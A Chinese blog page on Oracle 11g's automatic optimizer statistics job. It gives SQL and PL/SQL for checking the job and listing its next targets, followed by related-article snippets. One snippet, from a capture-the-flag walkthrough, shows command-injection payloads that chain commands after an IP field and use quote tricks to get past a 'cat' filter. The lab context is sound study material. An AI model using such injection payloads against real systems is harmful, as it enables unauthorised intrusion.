关于DBMS_STATS.GATHER_DATABASE_STATS_JOB_PROC的一些发现

news/2024/11/25 0:45:34/

任务在哪

这个是11g以后的自动收集统计信息的后台任务,10g之前是在dba_scheduler_jobs里查看

SQL> SELECT CLIENT_NAME               ,STATUS                    ,MEAN_INCOMING_TASKS_7_DAYS,MEAN_INCOMING_TASKS_30_DAYS
FROM   DBA_AUTOTASK_CLIENT
WHERE  CLIENT_NAME = 'auto optimizer stats collection'
/  2    3    4    5    6    7  CLIENT_NAME                                                      STATUS
---------------------------------------------------------------- --------
MEAN_INCOMING_TASKS_7_DAYS MEAN_INCOMING_TASKS_30_DAYS
-------------------------- ---------------------------
auto optimizer stats collection                                  ENABLED2                  2.25806452

可以在dba_autotask_job_history中看到历史执行情况

什么原理

根据1592404.1,后台的GATHER_DATABASE_STATS_JOB_PROC就是使用gather auto的option的情况。

根据1233203.1

How does auto optimizer stats collection prioritize which tables are analyzed first?

Accurate statistics are important on all objects. The GATHER_DATABASE_STATS_JOB_PROC procedure called by the 'auto optimizer stats collection' job prioritizes database objects that have no statistics. This means that objects that most need statistics are processed first. Once these are done then objects with stale statistics are addressed. For these, there is no particular prioritization. The statistics may be ordered in some way but it is cursory, ordering by owner,object_name,part_name just to be consistent. 

基本是先收集empty的,再收集stale的,剩下的按用户,对象名,分区名等。

观测手段

可以用以下过程查看下一次gather auto的列表

SQL> 
set line 150
set serveroutput on
declareobj_auto dbms_stats.ObjectTab;
begindbms_stats.gather_database_stats(options => 'LIST AUTO',objlist => obj_auto);for i in 1..obj_auto.countloopdbms_output.put_line('Auto list---> Owner:  '||obj_auto(i).ownname||'   Object name:  '||obj_auto(i).objName||'- -Object type:  '||obj_auto(i).objType);end loop;  
end;
/


http://www.ppmy.cn/news/1227955.html

相关文章

SVM之SVR参数详解以及调参

SVM之SVR参数详解以及调参 一、参数、属性及方法1、参数kernel = ‘rbf’degree=3gamma=‘scale’coef0=0.0tol=0.001C=1.0epsilon=0.1shrinking=Truecache_size=200verbose=Falsemax_iter=-12、属性class_weight_coef_dual_coef_fit_status_interce

【C++历练之路】list的重要接口||底层逻辑的三个封装以及模拟实现

W...Y的主页 😊 代码仓库分享💕 🍔前言: 在C的世界中,有一种数据结构,它不仅像一个神奇的瑰宝匣,还像一位能够在数据的海洋中航行的智慧舵手。这就是C中的list,一个引人入胜的工具…

CTFhub-RCE-过滤cat

查看当前目录:输入:127.0.0.1|ls 127.0.0.1|cat flag_42211411527984.php 无输出内容 使用单引号绕过 127.0.0.1|cat flag_42211411527984.php|base 64 使用双引号绕过 127.0.0.1|c""at flag_42211411527984.php|base64 使用特殊变量绕过 127.0.0.…

Python 自动化(十七)ORM操作

ORM-查询操作 查询简介 数据库的查询需要使用管理器对象 objects 进行 通过 自定义模型类.objects 管理器调用查询方法 查询方法 all()方法 概念与理解 用法:自定义模型类.objects.all()作用:查询自定义模型实体中所有的数据等同于 select * fr…

mybatis使用xml形式配置

以这个注解形式的查询代码为例 Select("select * from emp where name like concat(%,#{name},%) and gender #{gender} and entrydate between #{begin} and #{end} order by update_time desc ")public List<Emp> list(String name, Short gender, LocalDat…

探索 C++20 的新领域:深入理解 static关键字和核心语言特性测试宏

探索 C20 的新领域&#xff1a;深入理解 static 关键字和核心语言特性测试宏 static 关键字 static 的多种用途 在 C 中&#xff0c;static 关键字有几种看似无关的用途。为该关键字“过载”部分动机是为了避免在语言中引入新的关键字。 static 数据成员和方法 你可以声明…

redis问题归纳

1.redis为什么这么快&#xff1f; &#xff08;1&#xff09;基于内存操作&#xff1a;redis的所有数据都存在内存中&#xff0c;因此所有的运算都是内存级别的&#xff0c;所以性能比较高 &#xff08;2&#xff09;数据结构简单&#xff1a;redis的数据结构是专门设计的&…

Python基础:错误和异常

在Python中的错误可&#xff08;至少&#xff09;被分为两种&#xff1a;语法错误和 异常&#xff0c;均是指在程序中发生的问题和意外情况。Python提供了异常处理机制&#xff0c;使程序能够更容易地应对这些问题。 1. 语法错误&#xff08;Syntax Error&#xff09; 语法错误…